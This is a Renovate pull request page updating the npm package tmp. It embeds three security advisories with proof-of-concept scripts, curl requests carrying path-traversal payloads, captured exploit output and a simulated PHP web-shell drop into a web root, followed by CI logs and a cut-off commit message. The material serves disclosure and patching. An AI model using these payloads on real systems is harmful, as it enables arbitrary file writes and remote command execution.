Skip to content

chore(deps): update dependency tmp to v0.2.7 [security] - #3953

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate-npm-tmp-vulnerability
Open

renovate[bot] wants to merge 1 commit into
mainfrom
renovate-npm-tmp-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Jul 18, 2026

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
tmp 0.2.6 → 0.2.7 age confidence

tmp allows arbitrary temporary file / directory write via symbolic link dir parameter

CVE-2025-54798 / GHSA-52f5-9888-hmc6

More information

Details

Summary

tmp@0.2.3 is vulnerable to an Arbitrary temporary file / directory write via symbolic link dir parameter.

Details

According to the documentation there are some conditions that must be held:

// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50

Other breaking changes, i.e.

- template must be relative to tmpdir
- name must be relative to tmpdir
- dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks

are still in place.

In order to override the system's tmpdir, you will have to use the newly
introduced tmpdir option.

// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375
* `dir`: the optional temporary directory that must be relative to the system's default temporary directory.
     absolute paths are fine as long as they point to a location under the system's default temporary directory.
     Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access, 
     as tmp will not check the availability of the path, nor will it establish the requested path for you.

Related issue: https://github.com/raszi/node-tmp/issues/207.

The issue occurs because _resolvePath does not properly handle symbolic link when resolving paths:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579
function _resolvePath(name, tmpDir) {
  if (name.startsWith(tmpDir)) {
    return path.resolve(name);
  } else {
    return path.resolve(path.join(tmpDir, name));
  }
}

If the dir parameter points to a symlink that resolves to a folder outside the tmpDir, it's possible to bypass the _assertIsRelative check used in _assertAndSanitizeOptions:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609
function _assertIsRelative(name, option, tmpDir) {
  if (option === 'name') {
    // assert that name is not absolute and does not contain a path
    if (path.isAbsolute(name))
      throw new Error(`${option} option must not contain an absolute path, found "${name}".`);
    // must not fail on valid .<name> or ..<name> or similar such constructs
    let basename = path.basename(name);
    if (basename === '..' || basename === '.' || basename !== name)
      throw new Error(`${option} option must not contain a path, found "${name}".`);
  }
  else { // if (option === 'dir' || option === 'template') {
    // assert that dir or template are relative to tmpDir
    if (path.isAbsolute(name) && !name.startsWith(tmpDir)) {
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${name}".`);
    }
    let resolvedPath = _resolvePath(name, tmpDir); //<--- 
    if (!resolvedPath.startsWith(tmpDir))
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`);
  }
}
PoC

The following PoC demonstrates how writing a tmp file on a folder outside the tmpDir is possible.
Tested on a Linux machine.

  • Setup: create a symbolic link inside the tmpDir that points to a directory outside of it
mkdir $HOME/mydir1

ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir
  • check the folder is empty:
ls -lha $HOME/mydir1 | grep "tmp-"
  • run the poc
node main.js
File:  /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf
test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]'
test 2: dir option must be relative to "/tmp", found "/foo".
test 3: dir option must be relative to "/tmp", found "/home/user/mydir1".
  • the temporary file is created under $HOME/mydir1 (outside the tmpDir):
ls -lha $HOME/mydir1 | grep "tmp-"
-rw------- 1 user user    0 Apr  X XX:XX tmp-[random-id]
  • main.js
// npm i tmp@0.2.3

const tmp = require('tmp');

const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);

try {
    tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
    console.log('test 1:', err.message)
}

try {
    tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
    console.log('test 2:', err.message)
}

try {
    const fs = require('node:fs');
    const resolved = fs.realpathSync('/tmp/evil-dir');
    tmp.fileSync({ 'dir': resolved});
} catch (err) {
    console.log('test 3:', err.message)
}

A Potential fix could be to call fs.realpathSync (or similar) that resolves also symbolic links.

function _resolvePath(name, tmpDir) {
  let resolvedPath;
  if (name.startsWith(tmpDir)) {
    resolvedPath = path.resolve(name);
  } else {
    resolvedPath = path.resolve(path.join(tmpDir, name));
  }
  return fs.realpathSync(resolvedPath);
}
Impact

Arbitrary temporary file / directory write via symlink

Severity

  • CVSS Score: 2.5 / 10 (Low)
  • Vector String: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


tmp has Path Traversal via unsanitized prefix/postfix that enables directory escape

CVE-2026-44705 / GHSA-ph9p-34f9-6g65

More information

Details

Summary

The tmp npm package contains a path traversal vulnerability that allows escaping the intended temporary directory when untrusted data flows into the prefix, postfix, or dir options. By embedding traversal sequences (e.g., ../) or path separators in these parameters, attackers can cause files to be created outside the configured temporary base directory at attacker-controlled locations with the privileges of the running process. This vulnerability affects applications that pass user-controlled data to tmp's file/directory creation functions without proper input sanitization.

Details

Root Cause:
The vulnerability exists in tmp's path construction logic where user-supplied options are directly concatenated into file paths without sanitization or validation.

Technical Flow:

  1. Filename Construction: tmp builds filenames as <prefix>-<pid>-<random>-<postfix>
  2. Path Composition: Final path computed as path.join(tmpDir, opts.dir, name)
  3. Path Normalization: Node.js path.join() normalizes traversal sequences, allowing escape
  4. File Creation: File created at the resulting (potentially escaped) path

Vulnerable Pattern:

// In tmp package internals
const name = `${opts.prefix || ''}-${process.pid}-${randomString}-${opts.postfix || ''}`;
const finalPath = path.join(tmpDir, opts.dir || '', name);
// No validation that finalPath remains within tmpDir

Path Traversal Mechanics:

  • prefix/postfix traversal: ../../../evil in prefix escapes directory structure
  • Absolute path bypass: If opts.dir is absolute, path.join() ignores tmpDir completely
  • Normalization exploitation: path.join() resolves ../ sequences regardless of surrounding text
  • Cross-platform impact: Works on Windows (..\\), Unix (../), and mixed path systems

Key Vulnerability Points:

  • No input validation on prefix, postfix, or dir parameters
  • Direct use of user input in path construction
  • Reliance on path.join() normalization without containment checks
  • Missing post-construction validation that final path remains within intended directory
PoC

Basic Path Traversal via prefix:

const tmp = require('tmp');
const path = require('path');
const fs = require('fs');

// Create a controlled base directory
const baseDir = fs.mkdtempSync('/tmp/safe-base-');
console.log('Base directory:', baseDir);

// Escape via prefix
tmp.file({ 
  tmpdir: baseDir, 
  prefix: '../escaped' 
}, (err, filepath, fd, cleanup) => {
  if (err) throw err;
  
  console.log('Created file:', filepath);
  console.log('Relative to base:', path.relative(baseDir, filepath));
  // Output shows: ../escaped-<pid>-<random>
  
  cleanup();
});

Directory Escape via postfix:

tmp.file({ 
  tmpdir: baseDir, 
  postfix: '/../../pwned.txt' 
}, (err, filepath, fd, cleanup) => {
  if (err) throw err;
  
  console.log('Escaped file:', filepath);
  console.log('Escaped outside base:', !filepath.startsWith(baseDir));
  
  cleanup();
});

Absolute Path Bypass via dir:

tmp.file({ 
  tmpdir: '/safe/tmp/dir', 
  dir: '/tmp/evil-location',
  prefix: 'bypassed'
}, (err, filepath, fd, cleanup) => {
  if (err) throw err;
  
  console.log('Bypassed to:', filepath);
  // File created in /tmp/evil-location instead of /safe/tmp/dir
  
  cleanup();
});

Advanced Multi-Vector Attack:

const maliciousOpts = {
  tmpdir: '/app/safe-tmp',
  dir: '../../../tmp',           // Escape base
  prefix: '../sensitive-area/',   // Further traversal
  postfix: 'malicious.config'     // Controlled filename
};

tmp.file(maliciousOpts, (err, filepath, fd, cleanup) => {
  // Results in file creation at: /tmp/sensitive-area/malicious.config
  console.log('Final malicious path:', filepath);
  cleanup();
});

Real-World Attack Simulation:

// Simulate web API that accepts user file prefix
function createUserTempFile(userPrefix, content) {
  return new Promise((resolve, reject) => {
    tmp.file({ prefix: userPrefix }, (err, path, fd, cleanup) => {
      if (err) return reject(err);
      
      fs.writeSync(fd, content);
      console.log('User file created at:', path);
      resolve({ path, cleanup });
    });
  });
}

// Attacker input
const attackerPrefix = '../../../var/www/html/backdoor';
createUserTempFile(attackerPrefix, '<?php system($_GET["cmd"]); ?>');
// Creates PHP backdoor in web root instead of temp directory
Impact

Arbitrary File Creation:

  • Files created outside intended temporary directories
  • Attacker control over file placement location
  • Potential to overwrite existing files (depending on creation flags)
  • Cross-platform exploitation capability

Attack Scenarios:

1. Web Application Configuration Poisoning:

  • User uploads file with malicious prefix/postfix
  • tmp creates "temporary" file in application configuration directory
  • Malicious configuration loaded on next application restart

2. Cache Poisoning:

  • Application caches user content using tmp
  • Attacker escapes to cache directory of different user/tenant
  • Poisoned cache serves malicious content to other users

3. Build Pipeline Compromise:

  • CI/CD system processes user PRs with tmp usage
  • Malicious prefix escapes to build output directories
  • Compromised build artifacts deployed to production

4. Container Escape Attempt:

  • Containerized application uses tmp with user input
  • Attacker attempts to escape container temp restrictions
  • Files created in host-mapped volumes or sensitive container areas

5. Multi-Tenant Service Bypass:

  • SaaS platform isolates tenants using separate tmp directories
  • Tenant A escapes their tmp space to tenant B's area
  • Cross-tenant data access and potential privilege escalation

Business Impact:

  • Data Integrity: Unauthorized file placement can corrupt application state
  • Service Disruption: Files in wrong locations may break application functionality
  • Security Bypass: Escape temporary isolation boundaries
  • Compliance Violations: Files containing sensitive data placed in uncontrolled locations
Affected Products
  • Ecosystem: npm
  • Package name: tmp
  • Repository: github.com/raszi/node-tmp
  • Affected versions: All versions with vulnerable path construction logic
  • Patched versions: None currently available

Component Impact:

  • tmp.file() function - vulnerable to prefix/postfix/dir traversal
  • tmp.dir() function - vulnerable to same parameter manipulation
  • tmp.tmpName() function - if using affected path construction

Severity: High
CVSS v3.1: 8.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L)

CWE Classification:

  • CWE-22: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)
Remediation

Input Validation and Sanitization:

  1. Sanitize prefix/postfix:
function sanitizePrefix(prefix) {
  if (!prefix) return '';
  // Remove path separators and traversal sequences
  return path.basename(String(prefix)).replace(/[\.\/\\]/g, '-');
}

function sanitizePostfix(postfix) {
  if (!postfix) return '';
  // Allow only safe characters
  return String(postfix).replace(/[^A-Za-z0-9._-]/g, '');
}
  1. Validate dir parameter:
function validateDir(dir, baseDir) {
  if (!dir) return '';
  
  // Reject absolute paths
  if (path.isAbsolute(dir)) {
    throw new Error('Absolute paths not allowed for dir option');
  }
  
  // Resolve and check containment
  const resolved = path.resolve(baseDir, dir);
  const relative = path.relative(baseDir, resolved);
  
  if (relative.startsWith('..') || path.isAbsolute(relative)) {
    throw new Error('Dir option escapes base directory');
  }
  
  return dir;
}
  1. Post-construction path validation:
function validateFinalPath(finalPath, baseDir) {
  const resolved = path.resolve(finalPath);
  const relative = path.relative(path.resolve(baseDir), resolved);
  
  if (relative.startsWith('..') || path.isAbsolute(relative)) {
    throw new Error('Generated path escapes temporary directory');
  }
  
  return resolved;
}

Secure Implementation Pattern:

function createTempFile(options) {
  const opts = { ...options };
  
  // Sanitize inputs
  opts.prefix = sanitizePrefix(opts.prefix);
  opts.postfix = sanitizePostfix(opts.postfix);
  opts.dir = validateDir(opts.dir, opts.tmpdir);
  
  // Create with sanitized options
  return tmp.file(opts, (err, path, fd, cleanup) => {
    if (err) return callback(err);
    
    // Validate final path
    try {
      validateFinalPath(path, opts.tmpdir);
    } catch (validationErr) {
      cleanup();
      return callback(validationErr);
    }
    
    callback(null, path, fd, cleanup);
  });
}
Workarounds

For Application Developers:

  1. Input Sanitization:
// Sanitize before passing to tmp
function safeTmpFile(userOptions) {
  const safeOpts = {
    ...userOptions,
    prefix: userOptions.prefix ? path.basename(userOptions.prefix) : undefined,
    postfix: userOptions.postfix ? userOptions.postfix.replace(/[^A-Za-z0-9._-]/g, '') : undefined,
    dir: undefined // Don't allow user-controlled dir
  };
  
  return tmp.file(safeOpts);
}
  1. Path Validation:
function validateTmpPath(tmpPath, expectedBase) {
  const relativePath = path.relative(expectedBase, tmpPath);
  if (relativePath.startsWith('..') || path.isAbsolute(relativePath)) {
    throw new Error('Temporary file path escaped base directory');
  }
  return tmpPath;
}
  1. Restricted Usage:
// Only use tmp with known-safe, literal values
tmp.file({ prefix: 'app-temp-', postfix: '.tmp' }, callback);
// Never: tmp.file({ prefix: userInput }, callback);

For Security Teams:

  1. Code Review Patterns:
##### Search for dangerous tmp usage
grep -r "tmp\.file.*prefix.*req\|tmp\.file.*postfix.*req" .
grep -r "tmp\.dir.*opts\|tmp\.file.*opts" .
  1. Runtime Monitoring:
// Monitor for files created outside expected temp areas
const originalFile = tmp.file;
tmp.file = function(options, callback) {
  return originalFile(options, (err, path, fd, cleanup) => {
    if (!err && options.tmpdir) {
      const relative = require('path').relative(options.tmpdir, path);
      if (relative.startsWith('..')) {
        console.warn('Path traversal detected:', path);
      }
    }
    return callback(err, path, fd, cleanup);
  });
};
Detection and Monitoring

Static Analysis:

  • Scan for tmp usage with user-controlled input
  • Identify unsanitized parameter passing to tmp functions
  • Review file creation patterns in temporary directories

Runtime Detection:

// Log suspicious tmp operations
function monitorTmpUsage() {
  const originalTmpFile = require('tmp').file;
  
  require('tmp').file = function(options = {}, callback) {
    // Check for suspicious patterns
    const suspicious = [
      options.prefix && options.prefix.includes('..'),
      options.postfix && options.postfix.includes('..'),  
      options.dir && path.isAbsolute(options.dir)
    ].some(Boolean);
    
    if (suspicious) {
      console.warn('Suspicious tmp usage detected:', options);
    }
    
    return originalTmpFile.call(this, options, callback);
  };
}

File System Monitoring:

##### Monitor file creation outside expected temp directories
inotifywait -m -r --format '%w%f %e' /tmp /var/tmp | while read file event; do
  if [[ "$event" == *"CREATE"* && "$file" != /tmp/tmp-* ]]; then
    echo "Unexpected file creation: $file"
  fi
done
Acknowledgements

Reported by: Mapta / BugBunny_ai

Severity

  • CVSS Score: 7.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


tmp: Type-confusion bypass of _assertPath allows path traversal via non-string prefix/postfix/template

CVE-2026-49982 / GHSA-7c78-jf6q-g5cm

More information

Details

Summary

The _assertPath guard added to tmp@0.2.6 rejects only string values that contain the substring ... It is bypassed when prefix, postfix, or template is supplied as a non-string value (Array, Buffer, or any object) whose includes('..') returns falsy but whose stringification still contains ../. The value flows through Array.prototype.join/String coercion inside _generateTmpName and path.join(tmpDir, opts.dir, name), producing a final path that escapes tmpdir and creates a file or directory at an attacker-controlled location with the host process's privileges.

This affects any application that forwards untrusted request data (a common pattern is JSON body fields or qs-parsed bracket-array query strings such as ?prefix[]=...) into tmp.file, tmp.fileSync, tmp.dir, tmp.dirSync, tmp.tmpName, or tmp.tmpNameSync without explicit type coercion.

Impact
  • Arbitrary file creation outside the intended temporary directory, with the running process's filesystem permissions.
  • Directory creation outside the intended tree (via tmp.dir{,Sync}), which can then host a subsequent symlink swap.
  • File content that the application writes to the returned descriptor lands at the attacker's chosen path. In multi-tenant services this crosses tenant boundaries; in CI/build systems it can write into source trees, build outputs, or web roots.

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L - score 8.1 (High). Network-reachable when the consumer passes request data unchanged.

Affected versions

tmp >= 0.2.6 (the _assertPath guard introduced by commit 7ef2728 / merged in efa4a06f). Earlier releases are vulnerable to the plain string form (already published as a separate advisory) plus this bypass.

Vulnerable code

lib/tmp.js at tag v0.2.6, commit 41f7159:

// lib/tmp.js:533-539
function _assertPath(path) {
  if (path.includes("..")) {
    throw new Error("Relative value not allowed");
  }

  return path;
}
// lib/tmp.js:577-580
options.prefix = _isUndefined(options.prefix) ? '' : _assertPath(options.prefix);
options.postfix = _isUndefined(options.postfix) ? '' : _assertPath(options.postfix);
options.template = _isUndefined(options.template) ? undefined : _assertPath(options.template);
// lib/tmp.js:515-525  - opts.prefix and opts.postfix are stringified by Array.prototype.join
const name = [
  opts.prefix ? opts.prefix : 'tmp',
  '-',
  process.pid,
  '-',
  _randomChars(12),
  opts.postfix ? '-' + opts.postfix : ''
].join('');

return path.join(tmpDir, opts.dir, name);

Root cause: _assertPath assumes its argument is a string. For an Array argument, Array.prototype.includes('..') checks element equality (so ['../escape'].includes('..') is false); for an arbitrary object, Object.prototype.includes does not exist and a duck-typed includes: () => false defeats the check entirely. In both shapes, the subsequent [...].join('') and path.join(...) coerce the value to its underlying string, which still contains ../.

How untrusted data reaches _assertPath

Two production-realistic shapes that yield a non-string prefix/postfix/template:

  1. JSON request bodies. express.json() (and any other JSON body parser) preserves the parsed value's type. A body of {"prefix":["../escape"]} reaches the handler as an Array.
  2. qs-style bracket-array query strings. Express 4's default qs parser turns ?prefix[]=../escape into ['../escape']. The same applies to any framework using qs (Fastify, Koa with bodyparser, Hapi via configured parsers, etc.).

The consumer pattern is the natural one - forward req.body.prefix directly into tmp.file({ prefix, tmpdir }) with no developer-side coercion. The 0.2.6 release notes describe the guard as preventing prefix/postfix traversal, so consumers reasonably believe the guard covers the typical input flow.

Proof of concept (string vs array)

poc.js (run after npm install tmp@0.2.6):

const tmp = require('tmp');
const path = require('path');
const fs = require('fs');

const baseDir = fs.mkdtempSync('/tmp/safe-base-');

console.log('[negative control] string "../escape" - must be blocked');
try {
  const r = tmp.fileSync({ tmpdir: baseDir, prefix: '../escape' });
  console.log('  UNEXPECTED, file at:', r.name);
  r.removeCallback();
} catch (e) {
  console.log('  BLOCKED as expected:', e.message);
}

console.log('\n[bypass] array ["../escape"] - same effective value, not blocked');
try {
  const r = tmp.fileSync({ tmpdir: baseDir, prefix: ['../escape'] });
  console.log('  CREATED at:', r.name);
  console.log('  ESCAPED:', !path.resolve(r.name).startsWith(path.resolve(baseDir)));
  r.removeCallback();
} catch (e) {
  console.log('  BLOCKED:', e.message);
}

console.log('\n[bypass] duck-typed object {toString, includes} - also not blocked');
try {
  const r = tmp.fileSync({
    tmpdir: baseDir,
    prefix: { toString: () => '../escape', includes: () => false }
  });
  console.log('  CREATED at:', r.name);
  console.log('  ESCAPED:', !path.resolve(r.name).startsWith(path.resolve(baseDir)));
  r.removeCallback();
} catch (e) {
  console.log('  BLOCKED:', e.message);
}

Observed output on tmp@0.2.6:

[negative control] string "../escape" - must be blocked
  BLOCKED as expected: Relative value not allowed

[bypass] array ["../escape"] - same effective value, not blocked
  CREATED at: /private/tmp/escape-78856-D3p4mEWyapSn
  ESCAPED: true

[bypass] duck-typed object {toString, includes} - also not blocked
  CREATED at: /private/tmp/escape-78856-zP4qXkRm12Lf
  ESCAPED: true
End-to-end reproduction (against the deployed npm package)

Install:

mkdir tmp-bypass-poc && cd tmp-bypass-poc
npm init -y
npm install tmp@0.2.6 express@5

victim-server.js - realistic Express app that forwards a JSON body field into tmp.file:

const express = require('express');
const tmp = require('tmp');
const fs = require('fs');
const path = require('path');

const app = express();
app.use(express.json());

const TENANT_BASE = fs.mkdtempSync('/tmp/tenant-base-');
console.log('[victim] Tenant base dir:', TENANT_BASE);

app.post('/upload', (req, res) => {
  const userPrefix = req.body.prefix;  // attacker-controlled
  console.log('[victim] received prefix:', JSON.stringify(userPrefix),
              '(type:', Array.isArray(userPrefix) ? 'array' : typeof userPrefix, ')');

  tmp.file({ tmpdir: TENANT_BASE, prefix: userPrefix }, (err, filepath, fd, cleanup) => {
    if (err) {
      console.log('[victim] tmp error:', err.message);
      return res.status(400).json({ error: err.message });
    }
    fs.writeSync(fd, 'attacker-controlled-content');
    fs.closeSync(fd);
    const escaped = !path.resolve(filepath).startsWith(path.resolve(TENANT_BASE));
    console.log('[victim] file created at:', filepath, 'ESCAPED:', escaped);
    res.json({ filepath, escaped, tenantBase: TENANT_BASE });
  });
});

app.listen(3000, () => console.log('[victim] http://127.0.0.1:3000'));

Run:

node victim-server.js &

Drive three requests from another shell:

echo '=== ATTACK 1: string prefix - caught by 0.2.6 ==='
curl -s -X POST -H 'Content-Type: application/json' \
  -d '{"prefix":"../escape-string"}' http://127.0.0.1:3000/upload

echo
echo '=== ATTACK 2: array prefix - bypasses 0.2.6 ==='
curl -s -X POST -H 'Content-Type: application/json' \
  -d '{"prefix":["../escape-array"]}' http://127.0.0.1:3000/upload

echo
echo '=== ATTACK 3: multi-level traversal toward /etc ==='
curl -s -X POST -H 'Content-Type: application/json' \
  -d '{"prefix":["../../../etc/poc-tmp-bypass"]}' http://127.0.0.1:3000/upload

Captured transcript (verbatim from the test rig):

=== ATTACK 1: string prefix - caught by 0.2.6 ===
{"error":"Relative value not allowed"}

=== ATTACK 2: array prefix - bypasses 0.2.6 ===
{"filepath":"/private/tmp/escape-array-79635-gEFyGCBNFSTh","escaped":true,"tenantBase":"/tmp/tenant-base-3XHwPZ"}

=== ATTACK 3: multi-level traversal toward /etc ===
{"error":"EACCES: permission denied, open '/etc/poc-tmp-bypass-79635-PEIABptX8JGH'"}

Server log:

[victim] Tenant base dir: /tmp/tenant-base-3XHwPZ
[victim] received prefix: "../escape-string" (type: string )
[victim] tmp error: Relative value not allowed
[victim] received prefix: ["../escape-array"] (type: array )
[victim] file created at: /private/tmp/escape-array-79635-gEFyGCBNFSTh ESCAPED: true
[victim] received prefix: ["../../../etc/poc-tmp-bypass"] (type: array )
[victim] tmp error: EACCES: permission denied, open '/etc/poc-tmp-bypass-79635-PEIABptX8JGH'

Observations:

  • ATTACK 1 (string ../escape-string) is rejected at _assertPath. The 0.2.6 guard works for plain strings.
  • ATTACK 2 (array ["../escape-array"]) passes the guard and creates a file at /private/tmp/escape-array-..., outside the tenant base /tmp/tenant-base-3XHwPZ. The file content is attacker-controlled-content. Confirmed with ls:
$ ls -la /tmp/escape-array-*
-rw-------@&#8203; 1 rick  wheel  27 May 27 20:25 /tmp/escape-array-79635-gEFyGCBNFSTh
$ cat /tmp/escape-array-*
attacker-controlled-content
$ ls -la /tmp/tenant-base-3XHwPZ/
total 0
drwx------ 2 rick  wheel   64 May 27 20:25 .

Tenant base is empty. The escape is complete.

  • ATTACK 3 (array ["../../../etc/poc-tmp-bypass"]) reaches fs.open for /etc/poc-tmp-bypass-.... The open fails only because of POSIX permissions, not because tmp blocked the path. On a process running as root, or against any world-writable target directory, this would succeed.
Negative control with patched build

Applying the suggested fix below and re-running ATTACK 2:

=== ATTACK 2: array prefix - after fix ===
{"error":"prefix option must be a string, got \"object\"."}

The patched build rejects non-string prefix/postfix/template with a clear type error before the path is constructed.

Suggested fix

Patch _assertPath to require a string argument. The check value.includes('..') is sound only over strings; any non-string with a custom or array-element includes semantics bypasses it.

--- a/lib/tmp.js
+++ b/lib/tmp.js
@&#8203;@&#8203; -528,11 +528,14 @&#8203;@&#8203; function _generateTmpName(opts) {
 /**
- * Check the prefix and postfix options
+ * Check the prefix, postfix, and template options
  *
  * @&#8203;private
  */
-function _assertPath(path) {
-  if (path.includes("..")) {
+function _assertPath(option, value) {
+  if (typeof value !== 'string') {
+    throw new Error(`${option} option must be a string, got "${typeof value}".`);
+  }
+  if (value.includes("..")) {
     throw new Error("Relative value not allowed");
   }

-  return path;
+  return value;
 }
@&#8203;@&#8203; -575,9 +578,9 @&#8203;@&#8203; function _assertOptionsBase(options) {
   options.unsafeCleanup = !!options.unsafeCleanup;

   // for completeness' sake only, also keep (multiple) blanks if the user, purportedly sane, requests us to
-  options.prefix = _isUndefined(options.prefix) ? '' : _assertPath(options.prefix);
-  options.postfix = _isUndefined(options.postfix) ? '' : _assertPath(options.postfix);
-  options.template = _isUndefined(options.template) ? undefined : _assertPath(options.template);
+  options.prefix = _isUndefined(options.prefix) ? '' : _assertPath('prefix', options.prefix);
+  options.postfix = _isUndefined(options.postfix) ? '' : _assertPath('postfix', options.postfix);
+  options.template = _isUndefined(options.template) ? undefined : _assertPath('template', options.template);
 }

Defence-in-depth, recommended in addition to the type check: validate the final resolved path against tmpdir after _generateTmpName, similar to what _getRelativePath already does for dir and template. That way any future bypass through a different vector (e.g., a future Node path change, or a different option) does not exit tmpdir.

Fix PR

https://github.com/raszi/node-tmp-ghsa-7c78-jf6q-g5cm/pull/1

Credit

Reported by tonghuaroot.

Severity

  • CVSS Score: 8.2 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

raszi/node-tmp (tmp)

v0.2.7

Compare Source


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate Bot added the dependencies Pull requests that update a dependency label Jul 18, 2026
@netlify

netlify Bot commented Jul 18, 2026 •

Copy link
Copy Markdown

✅ Deploy Preview for brilliant-pasca-3e80ec canceled.

Name Link
🔨 Latest commit 09a525d
🔍 Latest deploy log https://app.netlify.com/projects/brilliant-pasca-3e80ec/deploys/6a5c08193045c8000886b86a

@github-actions

Copy link
Copy Markdown

🚀 Performance Test Results

Test Configuration:

  • VUs: 4
  • Duration: 1m0s

Test Metrics:

  • Requests/s: 47.22
  • Iterations/s: 15.73
  • Failed Requests: 0.00% (0 of 2836)
📜 Logs

> performance@1.0.0 run-tests:testenv /home/runner/work/rafiki/rafiki/test/performance
> ./scripts/run-tests.sh -e test -k -q --vus 4 --duration 1m

Cloud Nine GraphQL API is up: http://localhost:3101/graphql
Cloud Nine Wallet Address is up: http://localhost:3100/
Happy Life Bank Address is up: http://localhost:4100/
cloud-nine-wallet-test-backend already set
cloud-nine-wallet-test-auth already set
happy-life-bank-test-backend already set
happy-life-bank-test-auth already set
     data_received..................: 1.0 MB 17 kB/s
     data_sent......................: 2.2 MB 36 kB/s
     http_req_blocked...............: avg=5.67µs   min=1.49µs   med=4.39µs   max=865.72µs p(90)=5.79µs   p(95)=6.42µs  
     http_req_connecting............: avg=246ns    min=0s       med=0s       max=214.48µs p(90)=0s       p(95)=0s      
     http_req_duration..............: avg=84.22ms  min=6.4ms    med=61.27ms  max=665.97ms p(90)=144.72ms p(95)=192.86ms
       { expected_response:true }...: avg=84.22ms  min=6.4ms    med=61.27ms  max=665.97ms p(90)=144.72ms p(95)=192.86ms
     http_req_failed................: 0.00%  ✓ 0         ✗ 2836
     http_req_receiving.............: avg=80.27µs  min=17.2µs   med=71.39µs  max=1.9ms    p(90)=101.87µs p(95)=128µs   
     http_req_sending...............: avg=30.67µs  min=7.34µs   med=21.96µs  max=2.02ms   p(90)=33.74µs  p(95)=45.04µs 
     http_req_tls_handshaking.......: avg=0s       min=0s       med=0s       max=0s       p(90)=0s       p(95)=0s      
     http_req_waiting...............: avg=84.11ms  min=6.3ms    med=61.19ms  max=665.87ms p(90)=144.6ms  p(95)=192.8ms 
     http_reqs......................: 2836   47.220578/s
     iteration_duration.............: avg=254.16ms min=132.44ms med=220.14ms max=794.75ms p(90)=375.85ms p(95)=476.54ms
     iterations.....................: 945    15.734643/s
     vus............................: 4      min=4       max=4 
     vus_max........................: 4      min=4       max=4 

mkurapov pushed a commit that referenced this pull request Sep 21, 2026
* chore(deps): bump @babel/core, protobufjs, yaml, webpack, tmp, tar, undici

Covers the seven security PRs that still need work: #3954, #3952, #3902,
#3826, #3953, #3867, #3849.

tmp is scoped to >=0.2.0 so the 0.0.33 copy under inquirer isn't dragged
across a major.

* chore(deps): bump handlebars, shell-quote, websocket-driver

Clears the last three critical advisories. All within-major.

* chore(deps): bump babel systemjs transform, devalue, fast-uri, flatted, postcss, svgo, next

Single-major highs, one override key each.

* chore(deps): range-scoped bumps for brace-expansion, immutable, js-yaml, minimatch, rollup, tar-fs, vite, ws

Each major line gets its own bounded key. Several of these packages have a
clean newer major in the tree (minimatch 10, tar-fs 3, rollup 4, vite 7.3.6)
that an unscoped override would have downgraded.

immutable 3.8.3 and vite 4.5.14 have no fix inside their own major, so they
stay. Listed in the PR description.

* chore(deps): astro 6.4.6, axios 1.18.0

Both are declared deps, so the package.json files move alongside the
override rather than drifting from it.

astro stays on ~6.4.x. Its remaining advisories only patch in 7.x, which
is a major and out of scope here.

* chore(deps): sharp 0.35.0, otel jaeger propagator 2.9.0

Both riskier than the rest. sharp ships native binaries so CI linux is the
real test, not local darwin.

The propagator override is scoped to 2.x. The 1.25.1 copy comes from
sdk-trace-node@1.25.1, which backend still pins on the otel v1 line;
moving that is an otel migration, not a dep bump.

* chore(deps): suppress propagator-jaeger advisory instead of an otel v2 migration

GHSA-45rx-2jwx-cxfr affects @opentelemetry/propagator-jaeger 1.25.1, which
comes in transitively via the backend's @opentelemetry/sdk-trace-node
^1.25.1. The only real fix is moving the backend's otel SDK deps
(resources, sdk-metrics, sdk-trace-node) to the v2 line, which drops
propagator-jaeger entirely.

I attempted that, plus the exporter realignment it needs (the backend
already has @opentelemetry/sdk-node@0.217.0 pulling in v2-era otlp-transformer
alongside the v1-era exporter-trace-otlp-grpc/exporter-metrics-otlp-grpc,
which crashes trace export outright due to clashing protobufjs globals).
Bumping the two grpc exporters to ^0.221.0 to match sdk-node "fixed" that
crash but traded it for a different one: v1's Span still has no
instrumentationScope field, which the v2-era serializer requires, so
export still fails, just with a different stack.

Decided not to chase the SDK v2 migration for this pass. Ignoring the GHSA
via pnpm.auditConfig.ignoreGhsas instead, so it's a stated, visible
suppression rather than a silently reverted fix. `pnpm audit` still lists
it, just tagged "(1 ignored)".

Separately: telemetry tracing looks broken on this branch (and likely
main) any time ENABLE_TELEMETRY_TRACES=true, independent of this GHSA -
